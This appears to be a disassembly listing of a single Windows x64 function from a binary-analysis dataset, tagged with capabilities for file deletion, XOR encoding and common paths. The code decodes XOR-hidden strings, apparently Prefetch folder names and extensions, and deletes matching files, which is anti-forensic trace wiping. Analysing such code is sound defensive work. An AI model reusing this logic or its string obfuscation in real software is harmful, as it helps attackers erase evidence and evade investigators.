Function at 0x18001c670
Capabilities:
Delete file
Encode data using xor
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x200]
sub rsp, 0x300
mov rax, qword [0x180037020]
xor rax, rsp
mov qword [rbp + 0x1f0], rax
mov edx, 0x104
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xor esi, esi
mov qword [rsp + 0x68], 7
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x60], rsi
mov word [rsp + 0x50], si
test eax, eax
jne 0x18001c6e1
xor r8d, r8d
lea rdx, [0x18002e10c]
jmp 0x18001c6fe
lea rax, [rbp - 0x20]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rax + r8*2], si
jne 0x18001c6f0
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x50]
call fcn.180006110
nop
mov dword [rsp + 0x38], 0xf306f309
mov dword [rsp + 0x3c], 0xf33df325
mov dword [rsp + 0x40], 0xf33ff33f
mov dword [rsp + 0x44], 0xf33ff32f
mov dword [rsp + 0x48], 0xf335
mov ecx, esi
mov rdx, rsi
mov ebx, 0xcab
nop dword [rax + rax]
movzx eax, cx
sub ax, bx
xor word [rsp + rdx*2 + 0x38], ax
inc ecx
movsxd rdx, ecx
cmp rdx, 9
jb 0x18001c740
mov word [rsp + 0x4a], si
lea rax, [rsp + 0x38]
mov rdx, 0xffffffffffffffff
nop word [rax + rax]
inc rdx
cmp word [rax + rdx*2], 0
jne 0x18001c770
mov rcx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x68]
mov rax, r8
sub rax, rcx
cmp rdx, rax
ja 0x18001c7c4
lea rdi, [rcx + rdx]
mov qword [rsp + 0x60], rdi
lea rbx, [rsp + 0x50]
cmp r8, 8
cmovae rbx, qword [rsp + 0x50]
lea rcx, [rbx + rcx*2]
lea r8, [rdx + rdx]
lea rdx, [rsp + 0x38]
call sub.VCRUNTIME140.dll_memcpy
mov word [rbx + rdi*2], si
mov ebx, 0xcab
jmp 0x18001c7d8
mov qword [rsp + 0x20], rdx
lea r9, [rsp + 0x38]
lea rcx, [rsp + 0x50]
call fcn.180006f80
mov r14d, 0xf37b
mov dword [rsp + 0x30], 0xf326f37b
mov dword [rsp + 0x34], 0xf331
mov ecx, esi
mov rdx, rsi
nop dword [rax]
nop word [rax + rax]
movzx eax, cx
sub ax, bx
xor word [rsp + rdx*2 + 0x30], ax
inc ecx
movsxd rdx, ecx
cmp rdx, 3
jb 0x18001c800
mov word [rsp + 0x36], si
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], 7
mov word [rbp - 0x60], si
lea rax, [rsp + 0x30]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001c840
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x60]
call fcn.180006110
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rax
lea r8, [rbp - 0x60]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.18001b610
nop
lea rcx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
xor r12b, r12b
mov rdi, qword [rsp + 0x70]
mov r13, qword [rsp + 0x78]
cmp rdi, r13
je 0x18001cb92
nop dword [rax + rax]
mov ecx, 0x18
call fcn.180029c40
mov qword [rsp + 0x30], rax
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rcx
mov rdx, rdi
mov rcx, rax
call fcn.18001bc80
mov r15, rax
mov rcx, qword [rax + 8]
cmp qword [rax], rcx
je 0x18001cb2a
mov dword [rsp + 0x38], 0xf313f37b
mov dword [rsp + 0x3c], 0xf31df30f
xor eax, eax
mov word [rsp + 0x40], ax
mov ecx, esi
mov rdx, rsi
nop dword [rax]
nop word [rax + rax]
movzx eax, cx
sub ax, bx
xor word [rsp + rdx*2 + 0x38], ax
inc ecx
movsxd rdx, ecx
cmp rdx, 4
jb 0x18001c910
mov word [rsp + 0x40], si
lea rcx, [rsp + 0x38]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x18001c940
mov rcx, rdi
cmp qword [rdi + 0x18], 8
jb 0x18001c957
mov rcx, qword [rdi]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x38]
mov rdx, qword [rdi + 0x10]
call fcn.180006e90
cmp rax, 0xffffffffffffffff
je 0x18001cb2a
lea rcx, [rbp - 0x40]
call fcn.18001b140
nop
lea rdx, [rbp - 0x78]
mov rcx, r15
call fcn.18001c1e0
nop
mov r14, qword [rbp - 0x70]
mov rbx, qword [rbp - 0x78]
cmp rbx, r14
je 0x18001ca35
nop dword [rax]
lea r9, [rbp - 0x40]
cmp qword [rbp - 0x28], 8
cmovae r9, qword [rbp - 0x40]
mov rcx, rbx
cmp qword [rbx + 0x18], 8
jb 0x18001c9bb
mov rcx, qword [rbx]
mov rax, qword [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov rdx, qword [rbx + 0x10]
call fcn.180006e90
cmp rax, 0xffffffffffffffff
je 0x18001ca20
mov r12b, 1
mov rax, qword [0x1800380b8]
cmp rax, qword [0x1800380c0]
je 0x18001c9fb
mov rdx, rdi
mov rcx, rax
call fcn.180005ac0
add qword [0x1800380b8], 0x20
jmp 0x18001ca0d
mov r8, rdi
mov rdx, rax
lea rcx, [0x1800380b0]
call fcn.180021960
mov rcx, rdi
cmp qword [rdi + 0x18], 8
jb 0x18001ca1a
mov rcx, qword [rdi]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
add rbx, 0x20
cmp rbx, r14
jne 0x18001c9a0
mov r14, qword [rbp - 0x70]
mov rbx, qword [rbp - 0x78]
test rbx, rbx
je 0x18001cadf
cmp rbx, r14
je 0x18001caa6
add rbx, 0x18
mov rdx, qword [rbx]
cmp rdx, 8
jb 0x18001ca86
mov rcx, qword [rbx - 0x18]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x18001ca81
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18001cc33
mov rcx, r8
call fcn.180029c7c
mov qword [rbx - 8], rsi
mov qword [rbx], 7
mov word [rbx - 0x18], si
add rbx, 0x20
lea rax, [rbx - 0x18]
cmp rax, r14
jne 0x18001ca47
mov rbx, qword [rbp - 0x78]
mov rdx, qword [rbp - 0x68]
sub rdx, rbx
and rdx, 0xffffffffffffffe0
mov rax, rbx
cmp rdx, 0x1000
jb 0x18001cad6
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001cc33
mov rcx, rbx
call fcn.180029c7c
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x18001cb1f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001cb1a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001cc3a
call fcn.180029c7c
mov r14d, 0xf37b
mov ebx, 0xcab
mov rcx, qword [r15]
test rcx, rcx
je 0x18001cb6e
mov rdx, qword [r15 + 0x10]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x18001cb5e
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18001cc41
mov rcx, r8
call fcn.180029c7c
mov qword [r15], rsi
mov qword [r15 + 8], rsi
mov qword [r15 + 0x10], rsi
mov edx, 0x18
mov rcx, r15
call fcn.180029c7c
add rdi, 0x20
cmp rdi, r13
jne 0x18001c8b0
mov r13, qword [rsp + 0x78]
mov rdi, qword [rsp + 0x70]
test rdi, rdi
je 0x18001cc5d
cmp rdi, r13
je 0x18001cc00
lea rbx, [rdi + 0x18]
mov rdx, qword [rbx]
cmp rdx, 8
jb 0x18001cbdf
mov rcx, qword [rbx - 0x18]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x18001cbda
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18001cc2c
mov rcx, r8
call fcn.180029c7c
mov qword [rbx - 8], rsi
mov qword [rbx], 7
mov word [rbx - 0x18], si
add rbx, 0x20
lea rax, [rbx - 0x18]
cmp rax, r13
jne 0x18001cba4
mov rdi, qword [rsp + 0x70]
mov rdx, qword [rbp - 0x80]
sub rdx, rdi
and rdx, 0xffffffffffffffe0
mov rax, rdi
cmp rdx, 0x1000
jb 0x18001cc48
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18001cc48
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, rdi
call fcn.180029c7c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rsi
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x18001cca1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001cc9b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18001cc9b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180029c7c
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x18001cce6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001cce1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18001cce1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180029c7c
movzx eax, r12b
mov rcx, qword [rbp + 0x1f0]
xor rcx, rsp
call fcn.180029c20
lea r11, [rsp + 0x300]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret